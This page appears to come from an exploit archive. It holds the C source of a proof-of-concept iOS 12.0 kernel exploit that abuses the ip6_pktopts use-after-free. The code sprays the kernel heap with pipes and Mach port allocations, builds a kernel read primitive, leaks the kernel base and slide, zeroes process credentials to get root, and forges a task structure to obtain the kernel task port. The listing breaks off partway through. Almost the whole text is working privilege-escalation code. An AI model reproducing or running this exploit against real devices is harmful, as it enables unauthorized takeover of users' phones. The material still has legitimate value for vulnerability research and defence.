4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
//
//  exploit.c
//  se12.0exploit
//
//  Created by Justin Sherman on 1/13/20.
//  Copyright © 2020 Justin Sherman. All rights reserved.
//

#include <errno.h>
#include <net/if.h>
#include <pthread/pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <unistd.h>

#include "array.h"
#include "exploit.h"

static const int PROC_TASK_OFFSET = 0x10;
static const int PROC_PID_OFFSET = 0x60;
static const int PROC_UCRED_OFFSET = 0xf8;

static const int TASK_VMMAP_OFFSET = 0x20;
static const int TASK_ITK_REGISTERED_OFFSET = 0x2e8;
static const int TASK_BSDINFO_OFFSET = 0x358;

static const int POSIX_CRED_CR_UID_OFFSET = 0x18;
static const int POSIX_CRED_CR_RUID_OFFSET = 0x1c;
static const int POSIX_CRED_CR_SVUID_OFFSET = 0x20;
static const int POSIX_CRED_CR_RGID_OFFSET = 0x68;
static const int POSIX_CRED_CR_SVGID_OFFSET = 0x6c;

static const int UCRED_CR_LABEL_OFFSET = 0x78;

/* pipe stuff */
static const int PIPE_PIPEBUF_BUFFER_OFF = 0x10;
/* these offsets were found in fp_getfvp */
static const int PROC_P_FD_OFFSET = 0x100;
static const int FILEDESC_FD_OFILES_OFFSET = 0;
static const int FILEDESC_FD_NFILES_OFFSET = 0x48;
static const int FILEPROC_F_FGLOB_OFFSET = 0x8;
/* these offsets were found in mac_file_setxattr */
static const int FILEGLOB_FG_OPS_OFFSET = 0x28;
static const int FILEGLOB_FO_TYPE_OFFSET = 0;
static const int FILEGLOB_FG_DATA_OFFSET = 0x38;

/* so we can tell which pipe we wrote to if our process has multiple pipes */
static const uint64_t FAKE_TASK_PIPE_MAGIC = 0x1133557799bbddff;

/* I use ip6_pktopts->ip6po_minmtu to store metadata about where a given
 * ip6_pktopts struct got reallocated.
 *        |31           16 |15            0
 *        **************** ****************
 *         minmtu magic       idx of pipe
 *
 */

static const uint32_t MINMTU_MAGIC = 0xcafe;
static const uint32_t MINMTU_MAGIC_MASK = 0xffff0000;
static const uint32_t MINMTU_PIPEIDX_MASK = 0x0000ffff;

#define MAGIC_FROM_MINMTU(minmtu) (((minmtu) & MINMTU_MAGIC_MASK) >> 16)
#define PIPEIDX_FROM_MINMTU(minmtu) ((minmtu) & MINMTU_PIPEIDX_MASK)

static const uint64_t LEAKED_PORT_CONTEXT = 0x1122334455667788;

/* I use ipc_port->ip_context to store metadata about where our fake port got
 * reallocated.
 *       |63                           32 31|                             0
 *       ******************************** *********************************
 *           fake port context magic                idx of pipe
 *
 */
static const vm_address_t CONTEXT_MAGIC_MASK = 0xffffffff00000000;
static const vm_address_t CONTEXT_PIPEIDX_MASK = 0x00000000ffffffff;
static const vm_address_t CONTEXT_MAGIC = 0xaabbccdd;

#define MAGIC_FROM_CONTEXT(ctx) (((ctx) & CONTEXT_MAGIC_MASK) >> 32)
#define PIPEIDX_FROM_CONTEXT(ctx) ((ctx) & CONTEXT_PIPEIDX_MASK)

static kern_return_t create_IOSurface_client(mach_port_t *client_out,
        uint32_t *surface_id_out){
    CFMutableDictionaryRef matching_dict = IOServiceMatching("IOSurfaceRoot");

    if(!matching_dict)
        return KERN_FAILURE;

    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
            matching_dict);

    if(service == IO_OBJECT_NULL)
        return KERN_FAILURE;

    io_connect_t client = IO_OBJECT_NULL;
    kern_return_t kret = IOServiceOpen(service, mach_task_self(), 0, &client);

    if(kret)
        return kret;

    uint32_t dict[] = {
        kOSSerializeBinarySignature,
        kOSSerializeEndCollection | kOSSerializeDictionary | 1,
        kOSSerializeString | 19,
        0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, /* "IOSurfaceAllocSize" */
        kOSSerializeEndCollection | kOSSerializeNumber | 32,
        0x1000, 0x0,
    };

    /* iPhone 8,4 iOS 12.0 (16A366) */
    size_t surface_sz = 0xdd0;
    char *surface = malloc(surface_sz);
    kret = IOConnectCallStructMethod(client, IOSURFACE_CREATE, dict, sizeof(dict),
            surface, &surface_sz);

    if(kret)
        return kret;

    *surface_id_out = *(uint32_t *)((uint8_t *)surface + 0x18);

    free(surface);
    surface = NULL;

    *client_out = client;

    return KERN_SUCCESS;
}

static mach_port_t kalloc(int len){
    mach_port_t recv_port;
    kern_return_t kret = mach_port_allocate(mach_task_self(),
            MACH_PORT_RIGHT_RECEIVE, &recv_port);

    if(kret)
        return MACH_PORT_NULL;

    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    mach_msg_type_number_t cnt = MACH_PORT_LIMITS_INFO_COUNT;
    mach_port_set_attributes(mach_task_self(), recv_port, MACH_PORT_LIMITS_INFO,
            (mach_port_info_t)&limits, cnt);

    struct ool_msg {
        mach_msg_header_t hdr;
        mach_msg_body_t body;
        mach_msg_ool_ports_descriptor_t ool_port_desc;
    };

    int port_count = len / 8;
    /* calloc for MACH_PORT_NULL */
    mach_port_t *ports = calloc(port_count, sizeof(mach_port_t));

    struct ool_msg *oolmsg = malloc(sizeof(struct ool_msg));
    oolmsg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) |
        MACH_MSGH_BITS_COMPLEX;
    oolmsg->hdr.msgh_size = sizeof(struct ool_msg);
    oolmsg->hdr.msgh_remote_port = recv_port;
    oolmsg->hdr.msgh_local_port = MACH_PORT_NULL;
    oolmsg->hdr.msgh_id = 0xaabbccdd;
    oolmsg->body.msgh_descriptor_count = 1;

    mach_msg_ool_ports_descriptor_t *opd = &oolmsg->ool_port_desc;

    opd->address = ports;
    opd->count = port_count;
    opd->deallocate = 0;
    opd->copy = MACH_MSG_PHYSICAL_COPY;
    opd->disposition = MACH_MSG_TYPE_MAKE_SEND;
    opd->type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

    kret = mach_msg(&oolmsg->hdr, MACH_SEND_MSG, sizeof(*oolmsg), 0,
            MACH_PORT_NULL, 0, MACH_PORT_NULL);

    free(oolmsg);
    free(ports);

    if(kret)
        return MACH_PORT_NULL;

    return recv_port;
}

static mach_port_t kalloc_with_port(int len, mach_port_t port){
    mach_port_t recv_port;
    kern_return_t kret = mach_port_allocate(mach_task_self(),
            MACH_PORT_RIGHT_RECEIVE, &recv_port);

    if(kret)
        return MACH_PORT_NULL;

    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    mach_msg_type_number_t cnt = MACH_PORT_LIMITS_INFO_COUNT;
    mach_port_set_attributes(mach_task_self(), recv_port, MACH_PORT_LIMITS_INFO,
            (mach_port_info_t)&limits, cnt);

    struct ool_msg {
        mach_msg_header_t hdr;
        mach_msg_body_t body;
        mach_msg_ool_ports_descriptor_t ool_port_desc;
    };

    int port_count = len / 8;
    mach_port_t *ports = malloc(sizeof(mach_port_t) * port_count);

    for(int i=0; i<port_count; i++)
        ports[i] = port;

    struct ool_msg *oolmsg = malloc(sizeof(struct ool_msg));
    oolmsg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) |
        MACH_MSGH_BITS_COMPLEX;
    oolmsg->hdr.msgh_size = sizeof(struct ool_msg);
    oolmsg->hdr.msgh_remote_port = recv_port;
    oolmsg->hdr.msgh_local_port = MACH_PORT_NULL;
    oolmsg->hdr.msgh_id = 0xaabbccdd;
    oolmsg->body.msgh_descriptor_count = 1;

    mach_msg_ool_ports_descriptor_t *opd = &oolmsg->ool_port_desc;

    opd->address = ports;
    opd->count = port_count;
    opd->deallocate = 0;
    opd->copy = MACH_MSG_PHYSICAL_COPY;
    opd->disposition = MACH_MSG_TYPE_MAKE_SEND;
    opd->type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

    kret = mach_msg(&oolmsg->hdr, MACH_SEND_MSG, sizeof(*oolmsg), 0,
            MACH_PORT_NULL, 0, MACH_PORT_NULL);

    free(oolmsg);
    free(ports);

    if(kret)
        return MACH_PORT_NULL;

    return recv_port;
}

static int create_vulnerable_socket(void){
    int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

    if(s == -1){
        printf("error creating socket: %s\n", strerror(errno));
        return -1;
    }

    struct so_np_extensions ex = {
        .npx_flags = SONPX_SETOPTSHUT,
        .npx_mask = SONPX_SETOPTSHUT
    };
    
    setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &ex, sizeof(ex));

    int minmtu = IP6PO_MINMTU_ALL;
    setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));

    return s;
}

static int get_minmtu(int socket, uint32_t *minmtu){
    socklen_t minmtu_sz = sizeof(*minmtu);
    return getsockopt(socket, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &minmtu_sz);
}

static int get_tclass(int socket, uint32_t *tclass){
    socklen_t sz = sizeof(*tclass);
    return getsockopt(socket, IPPROTO_IPV6, IPV6_TCLASS, tclass, &sz);
}

static int increase_file_limit(void){
    struct rlimit rl = {0};

    int err = getrlimit(RLIMIT_NOFILE, &rl);

    if(err){
        printf("%s: getrlimit: %s\n", __func__, strerror(errno));
        return err;
    }

    rl.rlim_cur = OPEN_MAX;
    rl.rlim_max = rl.rlim_cur;

    err = setrlimit(RLIMIT_NOFILE, &rl);

    if(err){
        printf("%s: setrlimit: %s\n", __func__, strerror(errno));
        return err;
    }

    return 0;
}

static int _EarlyKernelRead64(int s, int *p, uint64_t kaddr, uint64_t *out){
    struct ip6_pktopts old_pktopts = {0};
    read(p[0], &old_pktopts, sizeof(old_pktopts));

    struct ip6_pktopts new_pktopts = {0};
    new_pktopts.ip6po_pktinfo = kaddr;

    write(p[1], &new_pktopts, sizeof(new_pktopts));
    
    struct in6_pktinfo info = {0};
    socklen_t infosz = sizeof(info);

    getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, &info, &infosz);

    /* I know I get 20 bytes from this, but reading 20 bytes at a time is weird */
    *out = *(uint64_t *)&info;

    return 0;
}

static int _EarlyKernelRead32(int s, int *p, uint64_t kaddr, uint32_t *out){
    uint64_t out64 = 0;

    if(_EarlyKernelRead64(s, p, kaddr, &out64))
        return 1;

    *out = *(uint32_t *)&out64;

    return 0;
}

static int _EarlyKernelReadN(int s, int *p, uint64_t kaddr, uint8_t *out,
        size_t length){
    if(length % sizeof(uint32_t) != 0){
        printf("%s: length needs to be divisible by %d\n", __func__,
                sizeof(uint32_t));
        return 1;
    }

    uint64_t current_loc = kaddr;
    uint64_t end = kaddr + length;

    size_t bytes_read = 0;
    size_t bytes_left = length;

    int ret = 0;

    while(current_loc < end && ret == 0){
        size_t chunk = sizeof(uint32_t);

        if(chunk > bytes_left)
            chunk = bytes_left;

        uint32_t out32 = 0;
        ret = _EarlyKernelRead32(s, p, current_loc, &out32);

        *(uint32_t *)(out + bytes_read) = out32;

        bytes_read += chunk;
        current_loc += chunk;
        bytes_left -= chunk;
    }

    return ret;
}

#define EarlyKernelRead32(kaddr, out) _EarlyKernelRead32(evil_socket, evil_pipe, (kaddr), (out))
#define EarlyKernelRead64(kaddr, out) _EarlyKernelRead64(evil_socket, evil_pipe, (kaddr), (out))
#define EarlyKernelReadN(kaddr, out, len)  _EarlyKernelReadN(evil_socket, evil_pipe, (kaddr), (out), (len))

static kern_return_t KernelRead(mach_port_t tfp0, vm_address_t kaddr,
       void *buffer, vm_size_t length){
    vm_address_t current_loc = kaddr;
    vm_address_t end = kaddr + length;

    vm_size_t bytes_read = 0;
    vm_size_t bytes_left = length;

    kern_return_t kret = KERN_SUCCESS;

    while(current_loc < end && kret == KERN_SUCCESS){
        vm_size_t chunk = 0x100;

        if(chunk > bytes_left)
            chunk = bytes_left;

        kret = vm_read_overwrite(tfp0, current_loc, chunk,
                (vm_address_t)((uint8_t *)buffer + bytes_read), &chunk);

        bytes_read += chunk;
        current_loc += chunk;
        bytes_left -= chunk;
    }

    return kret;
}

static kern_return_t KernelWrite(mach_port_t tfp0, vm_address_t kaddr,
        void *data, mach_msg_type_number_t size){
    return vm_write(tfp0, kaddr, (vm_offset_t)data, size);
}

static int _proc_pipes(int evil_socket, int *evil_pipe, uint64_t ourproc,
        uint64_t **pipes_out, int *pipecnt_out){
    uint64_t p_fd = 0;
    EarlyKernelRead64(ourproc + PROC_P_FD_OFFSET, &p_fd);

    uint64_t fd_ofiles = 0;
    EarlyKernelRead64(p_fd + FILEDESC_FD_OFILES_OFFSET, &fd_ofiles);

    uint32_t fd_nfiles = 0;
    EarlyKernelRead32(p_fd + FILEDESC_FD_NFILES_OFFSET, &fd_nfiles);

    int pipecnt = 0;
    uint64_t *pipes = NULL;

    for(uint32_t i=0; i<fd_nfiles; i++){
        uint64_t cur_ofile = 0;
        EarlyKernelRead64(fd_ofiles + (i * sizeof(void *)), &cur_ofile);

        if(!cur_ofile)
            continue;

        uint64_t f_fglob = 0;
        EarlyKernelRead64(cur_ofile + FILEPROC_F_FGLOB_OFFSET, &f_fglob);

        if(!f_fglob)
            continue;

        uint64_t fg_ops = 0;
        EarlyKernelRead64(f_fglob + FILEGLOB_FG_OPS_OFFSET, &fg_ops);

        uint32_t fo_type = 0;
        EarlyKernelRead32(fg_ops + FILEGLOB_FO_TYPE_OFFSET, &fo_type);
        
        uint64_t fg_data = 0;
        EarlyKernelRead64(f_fglob + FILEGLOB_FG_DATA_OFFSET, &fg_data);

        if(fo_type == DTYPE_PIPE){
            /* fg_data points to a pipe struct */

            if(!pipes)
                pipes = malloc(sizeof(uint64_t) * ++pipecnt);
            else{
                uint64_t *pipes_rea = realloc(pipes, sizeof(uint64_t) * ++pipecnt);
                pipes = pipes_rea;
            }

            pipes[pipecnt - 1] = fg_data;
        }
    }

    *pipes_out = pipes;
    *pipecnt_out = pipecnt;
    
    return 0;
}

#define proc_pipes(pipes_out, pipecnt_out) _proc_pipes(evil_socket, evil_pipe, \
        myproc_kaddr, (pipes_out), (pipecnt_out))

static void _cleanup(int **pipes, int num_pipes, int *sockets,
        int num_sockets, mach_port_t **pagesize_kallocs,
        int num_pagesize_kallocs, mach_port_t *kalloc_512s,
        int num_kalloc_512s){
    for(int i=0; i<num_pipes; i++){
        close(*pipes[i]);
        close(*(pipes[i] + 1));
        free(pipes[i]);
    }

    for(int i=0; i<num_sockets; i++)
        close(sockets[i]);

    for(int i=0; i<num_pagesize_kallocs; i++)
        mach_port_destroy(mach_task_self(), (*pagesize_kallocs)[i]);

    free(*pagesize_kallocs);
    *pagesize_kallocs = NULL;

    for(int i=0; i<num_kalloc_512s; i++)
        mach_port_destroy(mach_task_self(), kalloc_512s[i]);
}

#define CLEANUP _cleanup(pipes, num_pipes, sockets, num_sockets, \
        &pagesize_kallocs, num_pagesize_kallocs, kalloc_512s, num_kalloc_512s)

static kern_return_t root(mach_port_t tfp0, uint64_t creds, uid_t *orig_uid,
        uid_t *orig_ruid, uid_t *orig_svuid, gid_t *orig_rgid, gid_t *orig_svgid){
    kern_return_t kret = KernelRead(tfp0, creds + POSIX_CRED_CR_UID_OFFSET,
            orig_uid, sizeof(uid_t));

    if(kret)
        return kret;

    kret = KernelRead(tfp0, creds + POSIX_CRED_CR_RUID_OFFSET, orig_ruid, sizeof(uid_t));

    if(kret)
        return kret;

    kret = KernelRead(tfp0, creds + POSIX_CRED_CR_SVUID_OFFSET, orig_svuid, sizeof(uid_t));

    if(kret)
        return kret;

    kret = KernelRead(tfp0, creds + POSIX_CRED_CR_RGID_OFFSET, orig_rgid, sizeof(gid_t));

    if(kret)
        return kret;

    kret = KernelRead(tfp0, creds + POSIX_CRED_CR_SVGID_OFFSET, orig_svgid, sizeof(gid_t));

    if(kret)
        return kret;

    uint32_t zero = 0;

    kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_UID_OFFSET, &zero, sizeof(uid_t));

    if(kret)
        return kret;

    kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_RUID_OFFSET, &zero, sizeof(uid_t));

    if(kret)
        return kret;

    kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_SVUID_OFFSET, &zero, sizeof(uid_t));

    if(kret)
        return kret;

    kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_RGID_OFFSET, &zero, sizeof(gid_t));

    if(kret)
        return kret;

    kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_SVGID_OFFSET, &zero, sizeof(gid_t));

    return kret;
}

static int unroot(mach_port_t tfp0, uint64_t creds, uid_t orig_uid,
        uid_t orig_ruid, uid_t orig_svuid, gid_t orig_rgid, gid_t orig_svgid){
    kern_return_t kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_UID_OFFSET,
            &orig_uid, sizeof(uid_t));

    if(kret)
		return kret;

    kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_RUID_OFFSET, &orig_ruid,
            sizeof(uid_t));

    if(kret)
		return kret;

    kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_SVUID_OFFSET, &orig_svuid,
            sizeof(uid_t));

    if(kret)
		return kret;

    kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_RGID_OFFSET, &orig_rgid,
            sizeof(gid_t));

    if(kret)
		return kret;

    kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_SVGID_OFFSET, &orig_svgid,
            sizeof(gid_t));

    return kret;
}

int exploit(mach_port_t *tfp0out){
    vm_size_t pagesize;
    _host_page_size(mach_host_self(), &pagesize);

    increase_file_limit();

    mach_port_t leaked_port;
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &leaked_port);

    mach_port_set_context(mach_task_self(), leaked_port, LEAKED_PORT_CONTEXT);

    mach_port_insert_right(mach_task_self(), leaked_port, leaked_port,
            MACH_MSG_TYPE_MAKE_SEND);

    int num_pipes = 3100;
    int *pipes[num_pipes];

    for(int i=0; i<num_pipes; i++)
        pipes[i] = malloc(sizeof(int) * 2);

    int num_sockets = 4000;
    int sockets[num_sockets];

    printf("Creating %d vulnerable sockets...\n", num_sockets);

    for(int i=0; i<num_sockets; i++){
        /* this will initialize inp_depend6.inp6_outputopts for this socket */
        /* kalloc.192 allocation */
        int s = create_vulnerable_socket();

        if(s == -1){
            printf("Could not create socket %d\n", i);
            return 1;
        }

        sockets[i] = s;
    }

    /* 384 MB */
    int zone_map_sz = 402653184;

    /* page size allocations, so we know these free pages will get
     * sent back to the zone allocator
     */
    int kzone = pagesize;

    /* fill 90% of the zone map, it's a lot but not so much that it triggers
     * garbage collection early
     */
    int num_pagesize_kallocs = (zone_map_sz * .90) / kzone;
    mach_port_t *pagesize_kallocs = malloc(sizeof(mach_port_t) * num_pagesize_kallocs);

    printf("Doing %d pagesize (kalloc.%d) allocations to set up for future garbage "
            "collection\n", num_pagesize_kallocs, kzone);

    for(int i=0; i<num_pagesize_kallocs; i++){
        mach_port_t p = kalloc(kzone);

        if(p != MACH_PORT_NULL)
            pagesize_kallocs[i] = p;
        else{
            printf("Ran out of kalloc.%d mem at %d\n", i, kzone);
            num_pagesize_kallocs = i;
            break;
        }
    }

    printf("Freeing inp_depend6.inp6_outputopts for each socket...\n");

    for(int i=0; i<num_sockets; i++)
        disconnectx(sockets[i], 0, 0);

    int gc_kalloc_zone = pagesize;
    int num_gc_kallocs = (zone_map_sz * .60) / gc_kalloc_zone;

    printf("%d more kalloc.%d allocations to try and trigger garbage collection\n",
            num_gc_kallocs, gc_kalloc_zone);

    int gc_brk = 0;
    mach_port_t *gc_ports = malloc(sizeof(mach_port_t) * num_gc_kallocs);

    uint64_t maxtime = 0;

    for(int i=0; i<num_gc_kallocs; i++){
        uint64_t start = mach_absolute_time();
        mach_port_t p = kalloc(gc_kalloc_zone);
        uint64_t end = mach_absolute_time();

        if(p == MACH_PORT_NULL){
            printf("Final kalloc.%d spray: no space @ %d\n", gc_kalloc_zone, i);
            break;
        }

        gc_ports[i] = p;

        uint64_t time = end - start;

        if(time > maxtime){
            maxtime = time;
            printf("new maxtime %lld @ %d\n", maxtime, i);
        }
        
        if(time > 100000){
            printf("Maybe gc at %d\n", i);
            gc_brk = i;
            break;
        }
    }

    int num_gcports = gc_brk != 0 ? gc_brk : num_gc_kallocs;

    /* ensure enough free pages for future garbage collection to reclaim */
    for(int i=0; i<num_gcports; i++)
        mach_port_destroy(mach_task_self(), gc_ports[i]);

    free(gc_ports);
    gc_ports = NULL;

    /* create a bunch of kalloc.512 pipe buffers, if all went well,
     * several of our pipe buffers should overlap with the dangling
     * ip6_pktopts structs
     */
    struct ip6_pktopts pipe_spray_opts = {0};

    mach_port_t kalloc_512s[num_pipes];
    int num_kalloc_512s = 0;

    printf("Spraying pipe buffers and kalloc.512 OOL port allocations...\n");

    for(int i=0; i<num_pipes; i++){
        if(pipe(pipes[i])){
            printf("create pipe %d: %s\n", i, strerror(errno));
            CLEANUP;
            return 1;
        }

        if(i % 2 == 0){
            pipe_spray_opts.ip6po_minmtu = (MINMTU_MAGIC << 16) | i;
            write(*(pipes[i] + 1), &pipe_spray_opts, sizeof(pipe_spray_opts));
        }
        else{
            mach_port_t p = kalloc_with_port(512, leaked_port);

            if(p != MACH_PORT_NULL){
                kalloc_512s[i] = p;
                num_kalloc_512s++;
            }
        }

        /* go slow, we didn't wait for a possible gc to finish earlier */
        pthread_yield_np();
        usleep(100);
    }

    int evil_socket = -1;
    int *evil_pipe = NULL;

    int got_evil_things = 0;

    struct array *kernel_pointer_array = array_new();

    printf("Looking for reallocated ip6_pktopts structs, also collecting OOL"
            " Mach port kernel pointers from them...\n");

    for(int i=0; i<num_sockets; i++){
        uint32_t minmtu = 0, tclass = 0;

        if(get_minmtu(sockets[i], &minmtu) || get_tclass(sockets[i], &tclass))
            continue;

        uint32_t minmtu_magic = MAGIC_FROM_MINMTU(minmtu);

        if(!got_evil_things && minmtu_magic == MINMTU_MAGIC){
            evil_socket = sockets[i];
            
            uint32_t possible_evil_pipe = PIPEIDX_FROM_MINMTU(minmtu);

            if(possible_evil_pipe > num_pipes){
                printf("pipe idx (%d) > num_pipes (%d)????\n",
                        possible_evil_pipe, num_pipes);
                CLEANUP;
                return 1;
            }

            evil_pipe = pipes[possible_evil_pipe];

            got_evil_things = 1;
        }

        uint64_t possible_kptr = ((uint64_t)minmtu << 32) | tclass;

        uint64_t mask = 0xffffffe000000000;
        uint64_t result = 0xffffffe000000000;

        if((possible_kptr & mask) == result){
            /* so the top 24 bits are valid... what about the other 40? */
            uint64_t bottom40 = possible_kptr & 0xfffffffff;

            if(bottom40 < 0x100000000 && bottom40 > 0x10000)
                array_insert(kernel_pointer_array, possible_kptr);
        }
    }

    if(evil_socket == -1){
        printf("Couldn't reallocate a controlled ip6_pktopts struct in kalloc.512\n");
        CLEANUP;
        return 1;
    }

    uint32_t minmtu = 0;
    if(get_minmtu(evil_socket, &minmtu)){
        printf("Couldn't read minmtu from evil_socket? %s\n", strerror(errno));
        CLEANUP;
        return 1;
    }

    printf("Got a controlled ip6_pktopts struct in kalloc.512, minmtu: %#x\n", minmtu);
    printf("Evil socket: %d\n", evil_socket);

    /* don't need all these anymore */
    for(int i=0; i<num_pipes; i++){
        if(pipes[i] != evil_pipe){
            close(*pipes[i]);
            close(*(pipes[i] + 1));
            free(pipes[i]);
        }
    }

    for(int i=0; i<num_sockets; i++){
        if(sockets[i] != evil_socket)
            close(sockets[i]);
    }

    printf("Looking for a Mach port pointer from the kalloc.512 OOL allocations"
            " we did earlier...\n");

    uint64_t most_frequent_kaddr = 0;
    int max_occurences = 0;

    for(int i=0; i<kernel_pointer_array->len; i++){
        uint64_t cur_kaddr = kernel_pointer_array->items[i];

        int occurences = 0;

        for(int j=0; j<kernel_pointer_array->len; j++){
            if(kernel_pointer_array->items[j] == cur_kaddr)
                occurences++;
        }

        if(occurences > max_occurences){
            most_frequent_kaddr = cur_kaddr;
            max_occurences = occurences;
        }
    }

    array_destroy(&kernel_pointer_array);

    if(most_frequent_kaddr == 0){
        printf("Something went wrong while trying to find the mode of kptr array\n");
        return 1;
    }

    printf("Most frequent kernel pointer is %#llx with %d occurences "
            "(if it isn't from the OOL allocations we'll probably panic)\n",
            most_frequent_kaddr, max_occurences);

    kport_t kport = {0};
    EarlyKernelReadN(most_frequent_kaddr, &kport, sizeof(kport));

    uint64_t leaked_port_kaddr = 0;

    if(kport.ip_context == LEAKED_PORT_CONTEXT)
        leaked_port_kaddr = most_frequent_kaddr;
    else{
        printf("%#llx is not from the OOL allocations?\n", most_frequent_kaddr);

        for(int i=0; i<num_kalloc_512s; i++)
            mach_port_destroy(mach_task_self(), kalloc_512s[i]);

        return 1;
    }

    uint64_t myipcspace_kaddr = 0;
    EarlyKernelRead64(leaked_port_kaddr + offsetof(kport_t, ip_receiver),
            &myipcspace_kaddr);

    mach_port_destroy(mach_task_self(), leaked_port);

    uint64_t mytask_kaddr = 0;
    EarlyKernelRead64(myipcspace_kaddr + offsetof(struct ipc_space, is_task),
            &mytask_kaddr);

    uint64_t myproc_kaddr = 0;
    EarlyKernelRead64(mytask_kaddr + TASK_BSDINFO_OFFSET, &myproc_kaddr);

    uint64_t myproc_ucred_kaddr = 0;
    EarlyKernelRead64(myproc_kaddr + PROC_UCRED_OFFSET, &myproc_ucred_kaddr);

    uint64_t kernproc_kaddr = 0;
    uint64_t curproc = myproc_kaddr;

    for(;;){
        uint32_t pid = -1;
        EarlyKernelRead32(curproc + PROC_PID_OFFSET, &pid);

        if(pid == 0){
            kernproc_kaddr = curproc;
            break;
        }

        EarlyKernelRead64(curproc, &curproc);
    }

    uint64_t kerntask_kaddr = 0;
    EarlyKernelRead64(kernproc_kaddr + PROC_TASK_OFFSET, &kerntask_kaddr);

    uint64_t kern_vmmap_kaddr = 0;
    EarlyKernelRead64(kerntask_kaddr + TASK_VMMAP_OFFSET, &kern_vmmap_kaddr);

    /* register an IOSurfaceRootUserClient so we have access to its vtable,
     * and can derive kernel base and kernel slide
     */
    mach_port_t client = MACH_PORT_NULL;
    int surface_id = 0;
    kern_return_t kret = create_IOSurface_client(&client, &surface_id);

    if(kret){
        printf("Couldn't create IOSurface client: %s\n", mach_error_string(kret));

        for(int i=0; i<num_kalloc_512s; i++)
            mach_port_destroy(mach_task_self(), kalloc_512s[i]);

        return 1;
    }

    mach_ports_register(mach_task_self(), &client, 1);

    uint64_t iosurface_client_kaddr = 0;
    EarlyKernelRead64(mytask_kaddr + TASK_ITK_REGISTERED_OFFSET,
            &iosurface_client_kaddr);

    uint64_t kern_ipc_space_kaddr = 0;
    EarlyKernelRead64(iosurface_client_kaddr + offsetof(kport_t, ip_receiver),
            &kern_ipc_space_kaddr);

    uint64_t iosurface_client_kobject = 0;
    EarlyKernelRead64(iosurface_client_kaddr + offsetof(kport_t, ip_kobject),
            &iosurface_client_kobject);

    uint64_t iosurface_vtable = 0;
    EarlyKernelRead64(iosurface_client_kobject, &iosurface_vtable);

    uint64_t kfxn = 0;
    EarlyKernelRead64(iosurface_vtable, &kfxn);

    uint64_t kaddr = kfxn;
    kaddr &= ~0x3fff;

    uint64_t kernel_base = 0;

    for(;;){
        uint32_t val = 0;
        EarlyKernelRead32(kaddr, &val);

        if(val == 0xfeedfacf){
            kernel_base = kaddr;
            break;
        }

        kaddr -= 0x4000;
    }

    uint64_t kernel_slide = kernel_base - 0xfffffff007004000;

    printf("Kernel base: %#llx\n", kernel_base);
    printf("Kernel slide: %#llx\n", kernel_slide);

    /* unregister */
    mach_ports_register(mach_task_self(), NULL, 0);

    int taskpipe[2];
    pipe(taskpipe);

    ktask_t faketask = {0};
    faketask.lock.data = 0;
    faketask.lock.type = 0x22;
    faketask.ref_count = 100;
    faketask.active = 1;
    faketask.map = kern_vmmap_kaddr;

    write(taskpipe[1], &FAKE_TASK_PIPE_MAGIC, sizeof(FAKE_TASK_PIPE_MAGIC));
    write(taskpipe[1], &faketask, sizeof(faketask));

    /* zero the remainder of our fake task "struct" out. sizeof(struct task) shouldn't
     * be more than 0x900 bytes
     */
    uint64_t bytesleft = 0x900;
    char zerobuf[bytesleft];
    memset(zerobuf, 0, sizeof(zerobuf));
    write(taskpipe[1], zerobuf, sizeof(zerobuf));

    int numcolliders = 250;

    mach_port_t colliderports[numcolliders];

    for(int i=0; i<numcolliders; i++)
        colliderports[i] = MACH_PORT_NULL;

    int numcolliderpipes = numcolliders;
    int *colliderpipes[numcolliderpipes];

    for(int i=0; i<numcolliderpipes; i++)
        colliderpipes[i] = malloc(sizeof(int) * 2);

    /* page size allocations allocate linearly, so we're bound to have a pipe
     * buffer with its bottom 16 bits zero'ed out
     */
    int colliderkzone = pagesize;

    mach_port_t tfp0 = MACH_PORT_NULL;
    int *tfp0pipe = NULL;

    for(int i=0; i<numcolliders; i++){
        if(pipe(colliderpipes[i])){
            printf("create collider pipe %d: %s\n", i, strerror(errno));
            return 1;
        }

        char buf[colliderkzone - 1];

        /* mark pipe buffer as a kalloc.colliderkzone allocation */
        *(uint32_t *)buf = colliderkzone;
        *(uint32_t *)(buf + 4) = i;

        write(*(colliderpipes[i] + 1), buf, sizeof(buf));

        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &colliderports[i]);

        /* send right for mach_ports_register */
        mach_port_insert_right(mach_task_self(), colliderports[i],
                colliderports[i], MACH_MSG_TYPE_MAKE_SEND);
    }

    uint64_t *ourpipes = NULL;
    int pipecnt = 0;
    proc_pipes(&ourpipes, &pipecnt);

    uint64_t faketask_kaddr = 0;

    printf("%d pipes\n", pipecnt);

    for(int i=0; i<numcolliders; i++){
        if(colliderports[i] == MACH_PORT_NULL)
            continue;

        mach_ports_register(mach_task_self(), &colliderports[i], 1);

        uint64_t cport_kaddr = 0;
